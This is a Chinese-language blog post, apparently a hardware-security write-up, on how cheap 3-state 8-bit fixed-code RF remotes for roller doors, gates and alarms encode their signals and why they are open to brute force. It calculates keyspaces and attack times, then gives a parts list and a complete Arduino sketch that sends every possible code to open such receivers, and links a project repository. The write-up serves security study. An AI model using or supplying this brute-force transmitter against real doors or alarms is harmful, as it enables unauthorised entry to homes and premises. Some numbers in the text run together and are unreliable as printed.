無線遙控器(無線電遙控器)在我們生活中非常常見,應用于各種場景,方便著用戶的使用。不過大多數還是用于安防方面的,比如: 遙控報警器、電動卷簾門、電動伸縮門、遙控電開關、無線遙控門鈴……
1、無線遙控器簡介
無線遙控器從安全角度看大致分為兩類,一類是最普遍的固定碼遙控器,特點是廉價、應用廣泛、市場大、用戶多;另一類是滾動碼遙控器,特點是價格較貴、相對比較安全、用于汽車安全防盜等安全要求較高的地方。
固定碼遙控器有很多種編碼方式,國內常見的是 3 態 8 位的編碼或者廠商出廠時燒錄的隨機碼。滾動碼這里不做講解,我都還得到這類遙控器,滾動碼相對來說比較安全,但也并非絕對安全,你的汽車用到就是滾動碼遙控器,然而盜賊在 N 年前就能買到干擾破解你汽車防盜的設備了。
無線遙控器從信號調制方式可以大致分成 OOK和 FSK兩種方式,當然這只是常見的,還有其他的信號調制方式。
2、三態八位遙控器
3 態 8 位遙控器是我們常見的遙控器,它屬于固定碼遙控器。在電瓶車防盜器、電動卷簾門、電動伸縮門、遙控電開關、無線遙控門鈴這些應用中都能見到這種遙控器,因為這種遙控器很廉價。
2.1 什么是三態八位遙控器?
3 態 8 位遙控器顧名思義,它有 3 種碼位狀態 8 個碼位。二進制是由 0和 1組成的,所以 2 位(bit)長的二進制有 4 種可能性 00011011, 3 態 8 位遙控器使用的是這其中的 3 種 000111這是 3 態。8 位是指有 8 個編碼位,每個編碼位可使用 3 態中的任意一種,所以是 2 * 8 = 16總共 16 位(bit)長的二進制,但是常見的無線遙控器是的數據長度是 24 位(bit),因為后 8 位(bit)是定義按鍵值的(如果你對信號解碼出來的是 25 位(bit)長,你可以除去末尾的 0;如果是 25 位(bit)長,末尾的是 1這可能是你解碼錯了)。常見的 4 鍵遙控器的的每個鍵值都是出廠就固定了的,分別是 11000000001100000000110000000011
2.2 廠商燒錄的固定碼
如果你的固定碼遙控器解碼后的二進制中有一對 10碼(注意是一對,前一對的后 1跟后一對的前 0組成的 10是不算的)這說明你的遙控器不屬于 3 態 8 位遙控器,是廠商出廠時燒錄的固定碼,這種遙控器的后 8 位(bit)按鍵值也不一定是標準的 4 種可能性。
這類固定碼遙控器的接收端一般都是學習行的,會有一個學習鍵。作用是配對新的遙控器,如果當前遙控器壞了,你可以買個同類型的遙控器,長按學習鍵再按遙控器,就可以學習到新遙控器的編碼的信息,這樣你就能繼續使用了。
2.3 辨別是否是三態八位
辨別是否是 3 態 8 位遙控器最靠譜的方法就是拆開來看 PCB 板子,有 3 排 8 列焊盤的肯定是,否則就不是,使用 3 態 8 位撥碼開關的也是。
2.4 三態八位遙控器編碼
國內常見的編碼方法都是直接焊接 PCB 上的焊盤,極少使用撥碼開關,節省成本?當然你也能買到 3 態 8 位的撥碼遙控器。
從上圖中可以看出總共有 3 排 8 列焊盤,這也就是 3 態(上中下) 8 位的定義方式。中間的一排連接的是芯片的引腳,當芯片的一個引腳與 High 焊接上后產生的編碼是 11與 Low 焊接上后產生的編碼是 00不焊接的默認編碼是 01。
編碼是成對的,遙控器上是這個編碼,接收器上也得是這個編碼否則是沒法使用的。
3、分析安全缺陷
從上文中我們知道了遙控器的二進制編碼長度是 24 位(bit),前 16 位(bit)是由 3 態 8 位編碼方式定義的,后 8 位(bit)是廠商固定死的的按鍵值。一個遙控器上的每個按鍵的前 16 位(bit)都是一樣的,后 8 位(bit)是不一樣的,就 4 種可能性。假設如果每個按鍵都是沒有規律的隨機碼,那么你想通過暴力窮舉出正確的編碼,你需要嘗試 2 ^ 24 = 16777216總共 16777216 種可能性。假設后 8 位(bit)是固定的 4 種可能性,前 16 位(bit)是隨機的,那你只需要嘗試前 16 位(bit)的所有可能性在拼接上后 8 位(bit)的固定值,你需要嘗試 2 ^ 16 = 655364 ^ 8 = 65536每個按鍵總共 65536 種可能性。由于 3 態 8 位里是沒有 10碼的,所有你需要嘗試的次數是 3 ^ 8 = 6561每個按鍵總共 6561 種可能性。
知道了暴力窮舉攻擊需要嘗試的次數后我們再來算一下需要的時間,我對一個普通的遙控器做信號發送的采集,10 秒鐘時間內我在接收端收到一百零幾次遙控信號,也就是說一分鐘至少可以發送(嘗試) 600 個可能性。嘗試 24 位(bit)長度的所有組合所需的時間是 16777216 / 600 = 2796227962 分鐘左右,大概 20 天不到。嘗試 16 位(bit)長度一個按鍵的所有組合所需的時間是 65536 / 600 = 109109 分鐘左右,大概一個多小時。嘗試 3 態 8 位一個按鍵的所有組合所需的時間是 6561 / 600 = 11大概 11 分鐘左右!!
那么 Samy Kamkar在 8 秒內打開車庫門的 OpenSesame項目是怎么做到的?首先 Samy Kamkar 的那個車庫門的遙控器并非是 3 態 8 位的,編碼長度好像只有 12 位(bit), 2 ^ 12 = 4096總共 4096 種組合。最關鍵是遙控設備的接收端使用的是移位寄存器,所以使用 De Bruijn 序列即可在非常短的時間內完成所有可能性的嘗試。
但我們常見的 3 態 8 位遙控設備的接收端用得并非是移位寄存器,所以沒法使用De Bruijn序列實現暴力窮舉攻擊。檢測接收端是否使用了移位寄存器的一個方法是在正確的編碼前加個 0。如果使用了移位寄存器,那么會跳過錯誤的一個位(bit)檢查下一個正確的,并給予響應。如果沒使用移位寄存器,那么什么反應都沒有,因為你發送的這個編碼是錯誤的。
4、制作 Hacking 硬件
從上面理論分析中我們知道了這種遙控設備所存在的其中一個缺陷,要嘗試利用這個缺陷實現對設備的攻擊方法不止一種。你可以抱著你的筆記本和 SDR 設備去攻擊它,或者我們嘗試制作自己的便捷式硬件來利用這個缺陷實現對設備的攻擊。
這個我們使用 Arduino 和 RF 模塊實現攻擊功能。使用 Arduino 是因為廉價、易上手,當然你有能力的話也可以使用其他單片機去實現,或者自己設計電路,使用更好的 CC1111 芯片去實現 RF 功能。
4.1 硬件列表
Arduino Pro Micro
315 MHz或433 MHz 無線模塊
輕觸按鈕
10K電阻
面包板
面包板跳線
4.2 硬件連接方式
4.3 功能代碼/*
Brute Force Attack 4 ^ 8 Remote Control
https://github.com/ZMOM1031/bruteforce3-8remote
*/
#include
#include
RCSwitch mySwitch = RCSwitch();
// 定義 4 個按鍵針腳
const int button_a = 10;
const int button_b = 16;
const int button_c = 14;
const int button_d = 15;
int butStatA = 0;
int butStatB = 0;
int butStatC = 0;
int butStatD = 0;
int dfa = 256;
void setup() {
Serial.begin(9600);
mySwitch.enableTransmit(9); // 定義發送模塊的數據傳輸針腳
mySwitch.setPulseLength(170); // 定義脈沖長度,這個值具體看你使用的遙控器而定
pinMode(button_a, INPUT);
pinMode(button_b, INPUT);
pinMode(button_c, INPUT);
pinMode(button_d, INPUT);
}
void loop() {
// read the state of the pushbutton value:
butStatA = digitalRead(button_a);
butStatB = digitalRead(button_b);
butStatC = digitalRead(button_c);
butStatD = digitalRead(button_d);
// Button A
if (butStatA == HIGH) { // check if the pushbutton is pressed.
for (long i = 0; i <65535; i++ ){
long key = long(i * dfa) + int(192);
mySwitch.send(key, 24);
}
}
// Button B
if (butStatB == HIGH) {
for (long i = 0; i <65535; i++ ){
long key = long(i * dfa) + int(48);
mySwitch.send(key, 24);
}
}
// Button C
if (butStatC == HIGH) {
for (long i = 0; i <65535; i++ ){
long key = long(i * dfa) + int(12);
mySwitch.send(key, 24);
}
}
// Button D
if (butStatD == HIGH) {
for (long i = 0; i <65535; i++ ){
long key = long(i * dfa) + int(3);
mySwitch.send(key, 24);
}
}
}
注:這段代碼實現的是發送 4 ^ 8的所有可能性。
生成 3 ^ 8的所有可能性的算法我還沒實現,暫時也沒時間去繼續研究如何實現了,過完年得去找工作了。
5、總結
在實際測試中暴力窮舉攻擊確實是有效的,但由于時間匆忙,硬件設計和代碼都不是最優化的,所攻擊的速度還是差了點。如果你使用的是這種類型的遙控設備也不用擔心會這么樣。
bruteforce3-8remote這個項目后續還會更新,爭取達到最高的可用度,還會再加一些功能。目前我得先去忙著找工作,才是正事。未來還會研究一些其他的硬件安全的破解/逆向項目的。
最后感謝一下我的一位小伙伴(匿名)給的一些幫助。